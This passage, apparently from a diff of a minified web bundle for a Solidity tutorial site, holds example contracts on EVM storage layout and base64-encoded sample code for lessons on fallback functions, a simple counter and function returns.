            // i is even => get right 128 bits => cast bytes32 to uint128 (cut off left 128 bits)
            // i is odd  => get left 128 bits  => shift right 128 bits

            switch mod(i, 2)
            case 1 { v := shr(128, b32) }
            default { v := b32 }
        }
    }
}

contract EVMStorageDynamicArray {
    // slot of element = keccak256(slot where this array is declared) + size of element * index of element
    // keccak256(0) + 1 * index
    uint256[] private arr = [11, 22, 33];
    // keccak256(1) + 1 / 2 * index
    uint128[] private arr_2 = [1, 2, 3];

    function test_arr(uint256 slot, uint256 i)
        public
        view
        returns (uint256 v, bytes32 b32, uint256 len)
    {
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            v := sload(add(start, i))
            b32 := v
        }
    }
}

contract EVMStorageMapping {
    // slot of value = keccack256(key, slot where mapping is declared)
    mapping(address => uint256) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1] = 11;
        map[ADDR_2] = 22;
        map[ADDR_3] = 33;
    }

    function test_mapping(address key) public view returns (uint256 v) {
        uint256 slot = 0;
        bytes32 slot_v = keccak256(abi.encode(key, slot));

        assembly {
            v := sload(slot_v)
        }
    }
}

contract EVMStorageNestedMapping {
    // key0 => key1 => val
    // slot of value = keccak256(key1, keccack256(key0, slot where nested mapping is declared))
    mapping(address => mapping(address => uint256)) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);
    address public constant ADDR_3 = address(3);

    constructor() {
        map[ADDR_1][ADDR_2] = 11;
        map[ADDR_2][ADDR_3] = 22;
        map[ADDR_3][ADDR_1] = 33;
    }

    function test_nested_mapping(address key_0, address key_1)
        public
        view
        returns (uint256 v)
    {
        uint256 slot = 0;
        bytes32 s0 = keccak256(abi.encode(key_0, slot));
        bytes32 s1 = keccak256(abi.encode(key_1, s0));

        assembly {
            v := sload(s1)
        }
    }
}

contract EVMStorageMappingArray {
    // slot of value in a mapping = keccak256(key, slot)
    // slot of array element = keccak256(slot) + index
    // mapping -> array -> keccak256(keccak256(key, slot of map declaration)) + index
    mapping(address => uint256[]) public map;

    address public constant ADDR_1 = address(1);
    address public constant ADDR_2 = address(2);

    constructor() {
        map[ADDR_1].push(11);
        map[ADDR_1].push(22);
        map[ADDR_1].push(33);
        map[ADDR_2].push(44);
        map[ADDR_2].push(55);
        map[ADDR_2].push(66);
    }

    function test_map_arr(address addr, uint256 i)
        public
        view
        returns (uint256 v, uint256 len)
    {
        uint256 map_slot = 0;
        bytes32 map_hash = keccak256(abi.encode(addr, map_slot));
        bytes32 arr_hash = keccak256(abi.encode(map_hash));

        assembly {
            len := sload(map_hash)
            v := sload(add(arr_hash, i))
        }
    }
}

contract EVMStorageDynamicArrayStruct {
    struct Point {
        uint256 x;
        uint128 y;
        uint128 z;
    }

    // slot of element = keccak256(slot where this array is declared) + index of element
    // keccak256(0) + index * size of struct
    Point[] private arr;

    constructor() {
        arr.push(Point(11, 22, 33));
        arr.push(Point(44, 55, 66));
        arr.push(Point(77, 88, 99));
    }

    function test_struct_arr(uint256 i)
        public
        view
        returns (uint256 x, uint128 y, uint128 z, uint256 len)
    {
        uint256 slot = 0;
        bytes32 start = keccak256(abi.encode(slot));

        assembly {
            len := sload(slot)
            // s0 = keccak256(0)
            // index | slot        | values
            //     0 | slot s0 + 0 | arr[0].x
            //     0 | slot s0 + 1 | arr[0].z | arr[0].y
            //     1 | slot s0 + 2 | arr[1].x
            //     1 | slot s0 + 3 | arr[1].z | arr[1].y
            //     2 | slot s0 + 4 | arr[2].x
            //     2 | slot s0 + 5 | arr[2].z | arr[2].y
            x := sload(add(start, mul(i, 2)))
            let zy := sload(add(start, add(mul(i, 2), 1)))
            // uint128 cuts off left most 128 bits from 32 bytes
            y := zy
            z := shr(128, zy)
        }
    }
}
"}],fw=`

                          Examples of

                          • Reading and writing to storage with assembly
                          • Storage layout of different data types
                            • @@ -8876,7 +8876,7 @@ assertion probably means that there is a bug. } } } -`,Xw=({prev:s,next:a})=>r.jsx(A,{version:Bw,title:Gw,description:Vw,html:Yw,prev:s,next:a,codes:fw}),Rw="0.8.24",vw="Fallback",Nw="Example of how to use fallback in Solidity",Hw=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWNrIHRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgU2VuZFRvRmFsbGJhY2sgewogICAgZnVuY3Rpb24gdHJhbnNmZXJUb0ZhbGxiYWNrKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRmFsbGJhY2soYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="},{fileName:"FallbackInputOutput.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCAtPiBGYWxsYmFja0lucHV0T3V0cHV0IC0+IENvdW50ZXIKY29udHJhY3QgRmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBhZGRyZXNzIGltbXV0YWJsZSB0YXJnZXQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdGFyZ2V0KSB7CiAgICAgICAgdGFyZ2V0ID0gX3RhcmdldDsKICAgIH0KCiAgICBmYWxsYmFjayhieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IHRhcmdldC5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiByZXM7CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgVGVzdEZhbGxiYWNrSW5wdXRPdXRwdXQgewogICAgZXZlbnQgTG9nKGJ5dGVzIHJlcyk7CgogICAgZnVuY3Rpb24gdGVzdChhZGRyZXNzIF9mYWxsYmFjaywgYnl0ZXMgY2FsbGRhdGEgZGF0YSkgZXh0ZXJuYWwgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF9mYWxsYmFjay5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIGVtaXQgTG9nKHJlcyk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VGVzdERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSwgYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIChhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmdldCwgKCkpLCBhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmluYywgKCkpKTsKICAgIH0KfQo="}],Fw=`

                            fallback is a special function that is executed either when

                            +`,Yw=({prev:s,next:a})=>r.jsx(A,{version:Ww,title:Bw,description:Gw,html:fw,prev:s,next:a,codes:Vw}),Xw="0.8.24",vw="Fallback",Rw="Example of how to use fallback in Solidity",Nw=[{fileName:"Fallback.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZhbGxiYWNrIHsKICAgIGV2ZW50IExvZyhzdHJpbmcgZnVuYywgdWludDI1NiBnYXMpOwoKICAgIC8vIEZhbGxiYWNrIGZ1bmN0aW9uIG11c3QgYmUgZGVjbGFyZWQgYXMgZXh0ZXJuYWwuCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHBheWFibGUgewogICAgICAgIC8vIHNlbmQgLyB0cmFuc2ZlciAoZm9yd2FyZHMgMjMwMCBnYXMgdG8gdGhpcyBmYWxsYmFjayBmdW5jdGlvbikKICAgICAgICAvLyBjYWxsIChmb3J3YXJkcyBhbGwgb2YgdGhlIGdhcykKICAgICAgICBlbWl0IExvZygiZmFsbGJhY2siLCBnYXNsZWZ0KCkpOwogICAgfQoKICAgIC8vIFJlY2VpdmUgaXMgYSB2YXJpYW50IG9mIGZhbGxiYWNrIHRoYXQgaXMgdHJpZ2dlcmVkIHdoZW4gbXNnLmRhdGEgaXMgZW1wdHkKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHsKICAgICAgICBlbWl0IExvZygicmVjZWl2ZSIsIGdhc2xlZnQoKSk7CiAgICB9CgogICAgLy8gSGVscGVyIGZ1bmN0aW9uIHRvIGNoZWNrIHRoZSBiYWxhbmNlIG9mIHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGdldEJhbGFuY2UoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGFkZHJlc3ModGhpcykuYmFsYW5jZTsKICAgIH0KfQoKY29udHJhY3QgU2VuZFRvRmFsbGJhY2sgewogICAgZnVuY3Rpb24gdHJhbnNmZXJUb0ZhbGxiYWNrKGFkZHJlc3MgcGF5YWJsZSBfdG8pIHB1YmxpYyBwYXlhYmxlIHsKICAgICAgICBfdG8udHJhbnNmZXIobXNnLnZhbHVlKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRmFsbGJhY2soYWRkcmVzcyBwYXlhYmxlIF90bykgcHVibGljIHBheWFibGUgewogICAgICAgIChib29sIHNlbnQsKSA9IF90by5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KCIiKTsKICAgICAgICByZXF1aXJlKHNlbnQsICJGYWlsZWQgdG8gc2VuZCBFdGhlciIpOwogICAgfQp9Cg=="},{fileName:"FallbackInputOutput.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBUZXN0RmFsbGJhY2tJbnB1dE91dHB1dCAtPiBGYWxsYmFja0lucHV0T3V0cHV0IC0+IENvdW50ZXIKY29udHJhY3QgRmFsbGJhY2tJbnB1dE91dHB1dCB7CiAgICBhZGRyZXNzIGltbXV0YWJsZSB0YXJnZXQ7CgogICAgY29uc3RydWN0b3IoYWRkcmVzcyBfdGFyZ2V0KSB7CiAgICAgICAgdGFyZ2V0ID0gX3RhcmdldDsKICAgIH0KCiAgICBmYWxsYmFjayhieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCBwYXlhYmxlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IHRhcmdldC5jYWxse3ZhbHVlOiBtc2cudmFsdWV9KGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIHJldHVybiByZXM7CiAgICB9Cn0KCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgZnVuY3Rpb24gZ2V0KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIGZ1bmN0aW9uIGluYygpIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYpIHsKICAgICAgICBjb3VudCArPSAxOwogICAgICAgIHJldHVybiBjb3VudDsKICAgIH0KfQoKY29udHJhY3QgVGVzdEZhbGxiYWNrSW5wdXRPdXRwdXQgewogICAgZXZlbnQgTG9nKGJ5dGVzIHJlcyk7CgogICAgZnVuY3Rpb24gdGVzdChhZGRyZXNzIF9mYWxsYmFjaywgYnl0ZXMgY2FsbGRhdGEgZGF0YSkgZXh0ZXJuYWwgewogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF9mYWxsYmFjay5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgICAgIGVtaXQgTG9nKHJlcyk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0VGVzdERhdGEoKSBleHRlcm5hbCBwdXJlIHJldHVybnMgKGJ5dGVzIG1lbW9yeSwgYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuCiAgICAgICAgICAgIChhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmdldCwgKCkpLCBhYmkuZW5jb2RlQ2FsbChDb3VudGVyLmluYywgKCkpKTsKICAgIH0KfQo="}],Hw=`

                            fallback is a special function that is executed either when

                            • a function that does not exist is called or
                            • Ether is sent directly to a contract but receive() does not exist or msg.data is not empty
                              • @@ -8961,7 +8961,7 @@ assertion probably means that there is a bug. (abi.encodeCall(Counter.get, ()), abi.encodeCall(Counter.inc, ())); } } -`,Kw=({prev:s,next:a})=>r.jsx(A,{version:Rw,title:vw,description:Nw,html:Fw,prev:s,next:a,codes:Hw}),Mw="0.8.24",Sw="First Application",xw="Example of smart contract in Solidity",Jw=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],zw=`

                              Here is a simple contract that you can get, increment and decrement the count stored in this contract.

                              +`,Kw=({prev:s,next:a})=>r.jsx(A,{version:Xw,title:vw,description:Rw,html:Hw,prev:s,next:a,codes:Nw}),Fw="0.8.24",Mw="First Application",Sw="Example of smart contract in Solidity",xw=[{fileName:"Counter.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IENvdW50ZXIgewogICAgdWludDI1NiBwdWJsaWMgY291bnQ7CgogICAgLy8gRnVuY3Rpb24gdG8gZ2V0IHRoZSBjdXJyZW50IGNvdW50CiAgICBmdW5jdGlvbiBnZXQoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIGNvdW50OwogICAgfQoKICAgIC8vIEZ1bmN0aW9uIHRvIGluY3JlbWVudCBjb3VudCBieSAxCiAgICBmdW5jdGlvbiBpbmMoKSBwdWJsaWMgewogICAgICAgIGNvdW50ICs9IDE7CiAgICB9CgogICAgLy8gRnVuY3Rpb24gdG8gZGVjcmVtZW50IGNvdW50IGJ5IDEKICAgIGZ1bmN0aW9uIGRlYygpIHB1YmxpYyB7CiAgICAgICAgLy8gVGhpcyBmdW5jdGlvbiB3aWxsIGZhaWwgaWYgY291bnQgPSAwCiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQo="}],Jw=`

                              Here is a simple contract that you can get, increment and decrement the count stored in this contract.

                              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -8984,7 +8984,7 @@ assertion probably means that there is a bug.
         count -= 1;
     }
 }
-
                              `,Dw=({prev:s,next:a})=>r.jsx(A,{version:Mw,title:Sw,description:xw,html:zw,prev:s,next:a,codes:Jw}),Ew="0.8.24",Qw="Function",Tw="Example of how to write functions in Solidity",Uw=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgxLCB0cnVlLCAyKTsKICAgIH0KCiAgICAvLyBSZXR1cm4gdmFsdWVzIGNhbiBiZSBuYW1lZC4KICAgIGZ1bmN0aW9uIG5hbWVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHJldHVybiAoMSwgdHJ1ZSwgMik7CiAgICB9CgogICAgLy8gUmV0dXJuIHZhbHVlcyBjYW4gYmUgYXNzaWduZWQgdG8gdGhlaXIgbmFtZS4KICAgIC8vIEluIHRoaXMgY2FzZSB0aGUgcmV0dXJuIHN0YXRlbWVudCBjYW4gYmUgb21pdHRlZC4KICAgIGZ1bmN0aW9uIGFzc2lnbmVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHggPSAxOwogICAgICAgIGIgPSB0cnVlOwogICAgICAgIHkgPSAyOwogICAgfQoKICAgIC8vIFVzZSBkZXN0cnVjdHVyaW5nIGFzc2lnbm1lbnQgd2hlbiBjYWxsaW5nIGFub3RoZXIKICAgIC8vIGZ1bmN0aW9uIHRoYXQgcmV0dXJucyBtdWx0aXBsZSB2YWx1ZXMuCiAgICBmdW5jdGlvbiBkZXN0cnVjdHVyaW5nQXNzaWdubWVudHMoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2LCB1aW50MjU2LCB1aW50MjU2KQogICAgewogICAgICAgICh1aW50MjU2IGksIGJvb2wgYiwgdWludDI1NiBqKSA9IHJldHVybk1hbnkoKTsKCiAgICAgICAgLy8gVmFsdWVzIGNhbiBiZSBsZWZ0IG91dC4KICAgICAgICAodWludDI1NiB4LCwgdWludDI1NiB5KSA9ICg0LCA1LCA2KTsKCiAgICAgICAgcmV0dXJuIChpLCBiLCBqLCB4LCB5KTsKICAgIH0KCiAgICAvLyBDYW5ub3QgdXNlIG1hcCBmb3IgZWl0aGVyIGlucHV0IG9yIG91dHB1dAoKICAgIC8vIENhbiB1c2UgYXJyYXkgZm9yIGlucHV0CiAgICBmdW5jdGlvbiBhcnJheUlucHV0KHVpbnQyNTZbXSBtZW1vcnkgX2FycikgcHVibGljIHt9CgogICAgLy8gQ2FuIHVzZSBhcnJheSBmb3Igb3V0cHV0CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKCiAgICBmdW5jdGlvbiBhcnJheU91dHB1dCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYXJyOwogICAgfQp9CgovLyBDYWxsIGZ1bmN0aW9uIHdpdGgga2V5LXZhbHVlIGlucHV0cwpjb250cmFjdCBYWVogewogICAgZnVuY3Rpb24gc29tZUZ1bmNXaXRoTWFueUlucHV0cygKICAgICAgICB1aW50MjU2IHgsCiAgICAgICAgdWludDI1NiB5LAogICAgICAgIHVpbnQyNTYgeiwKICAgICAgICBhZGRyZXNzIGEsCiAgICAgICAgYm9vbCBiLAogICAgICAgIHN0cmluZyBtZW1vcnkgYwogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7fQoKICAgIGZ1bmN0aW9uIGNhbGxGdW5jKCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoMSwgMiwgMywgYWRkcmVzcygwKSwgdHJ1ZSwgImMiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRnVuY1dpdGhLZXlWYWx1ZSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKHsKICAgICAgICAgICAgYTogYWRkcmVzcygwKSwKICAgICAgICAgICAgYjogdHJ1ZSwKICAgICAgICAgICAgYzogImMiLAogICAgICAgICAgICB4OiAxLAogICAgICAgICAgICB5OiAyLAogICAgICAgICAgICB6OiAzCiAgICAgICAgfSk7CiAgICB9Cn0K"}],_w=`

                              There are several ways to return outputs from a function.

                              +`,zw=({prev:s,next:a})=>r.jsx(A,{version:Fw,title:Mw,description:Sw,html:Jw,prev:s,next:a,codes:xw}),Dw="0.8.24",Ew="Function",Qw="Example of how to write functions in Solidity",Tw=[{fileName:"Function.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEZ1bmN0aW9uIHsKICAgIC8vIEZ1bmN0aW9ucyBjYW4gcmV0dXJuIG11bHRpcGxlIHZhbHVlcy4KICAgIGZ1bmN0aW9uIHJldHVybk1hbnkoKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuICgxLCB0cnVlLCAyKTsKICAgIH0KCiAgICAvLyBSZXR1cm4gdmFsdWVzIGNhbiBiZSBuYW1lZC4KICAgIGZ1bmN0aW9uIG5hbWVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHJldHVybiAoMSwgdHJ1ZSwgMik7CiAgICB9CgogICAgLy8gUmV0dXJuIHZhbHVlcyBjYW4gYmUgYXNzaWduZWQgdG8gdGhlaXIgbmFtZS4KICAgIC8vIEluIHRoaXMgY2FzZSB0aGUgcmV0dXJuIHN0YXRlbWVudCBjYW4gYmUgb21pdHRlZC4KICAgIGZ1bmN0aW9uIGFzc2lnbmVkKCkgcHVibGljIHB1cmUgcmV0dXJucyAodWludDI1NiB4LCBib29sIGIsIHVpbnQyNTYgeSkgewogICAgICAgIHggPSAxOwogICAgICAgIGIgPSB0cnVlOwogICAgICAgIHkgPSAyOwogICAgfQoKICAgIC8vIFVzZSBkZXN0cnVjdHVyaW5nIGFzc2lnbm1lbnQgd2hlbiBjYWxsaW5nIGFub3RoZXIKICAgIC8vIGZ1bmN0aW9uIHRoYXQgcmV0dXJucyBtdWx0aXBsZSB2YWx1ZXMuCiAgICBmdW5jdGlvbiBkZXN0cnVjdHVyaW5nQXNzaWdubWVudHMoKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2LCBib29sLCB1aW50MjU2LCB1aW50MjU2LCB1aW50MjU2KQogICAgewogICAgICAgICh1aW50MjU2IGksIGJvb2wgYiwgdWludDI1NiBqKSA9IHJldHVybk1hbnkoKTsKCiAgICAgICAgLy8gVmFsdWVzIGNhbiBiZSBsZWZ0IG91dC4KICAgICAgICAodWludDI1NiB4LCwgdWludDI1NiB5KSA9ICg0LCA1LCA2KTsKCiAgICAgICAgcmV0dXJuIChpLCBiLCBqLCB4LCB5KTsKICAgIH0KCiAgICAvLyBDYW5ub3QgdXNlIG1hcCBmb3IgZWl0aGVyIGlucHV0IG9yIG91dHB1dAoKICAgIC8vIENhbiB1c2UgYXJyYXkgZm9yIGlucHV0CiAgICBmdW5jdGlvbiBhcnJheUlucHV0KHVpbnQyNTZbXSBtZW1vcnkgX2FycikgcHVibGljIHt9CgogICAgLy8gQ2FuIHVzZSBhcnJheSBmb3Igb3V0cHV0CiAgICB1aW50MjU2W10gcHVibGljIGFycjsKCiAgICBmdW5jdGlvbiBhcnJheU91dHB1dCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKHVpbnQyNTZbXSBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gYXJyOwogICAgfQp9CgovLyBDYWxsIGZ1bmN0aW9uIHdpdGgga2V5LXZhbHVlIGlucHV0cwpjb250cmFjdCBYWVogewogICAgZnVuY3Rpb24gc29tZUZ1bmNXaXRoTWFueUlucHV0cygKICAgICAgICB1aW50MjU2IHgsCiAgICAgICAgdWludDI1NiB5LAogICAgICAgIHVpbnQyNTYgeiwKICAgICAgICBhZGRyZXNzIGEsCiAgICAgICAgYm9vbCBiLAogICAgICAgIHN0cmluZyBtZW1vcnkgYwogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7fQoKICAgIGZ1bmN0aW9uIGNhbGxGdW5jKCkgZXh0ZXJuYWwgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgcmV0dXJuIHNvbWVGdW5jV2l0aE1hbnlJbnB1dHMoMSwgMiwgMywgYWRkcmVzcygwKSwgdHJ1ZSwgImMiKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYWxsRnVuY1dpdGhLZXlWYWx1ZSgpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJldHVybiBzb21lRnVuY1dpdGhNYW55SW5wdXRzKHsKICAgICAgICAgICAgYTogYWRkcmVzcygwKSwKICAgICAgICAgICAgYjogdHJ1ZSwKICAgICAgICAgICAgYzogImMiLAogICAgICAgICAgICB4OiAxLAogICAgICAgICAgICB5OiAyLAogICAgICAgICAgICB6OiAzCiAgICAgICAgfSk7CiAgICB9Cn0K"}],Uw=`

                              There are several ways to return outputs from a function.

                              Public functions cannot accept certain data types as inputs or outputs

                              // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -9062,7 +9062,7 @@ assertion probably means that there is a bug.
         });
     }
 }
-
                              `,Lw=({prev:s,next:a})=>r.jsx(A,{version:Ew,title:Qw,description:Tw,html:_w,prev:s,next:a,codes:Uw}),Ow="0.8.24",Pw="Function Modifier",$w="Example of how to write function modifier in 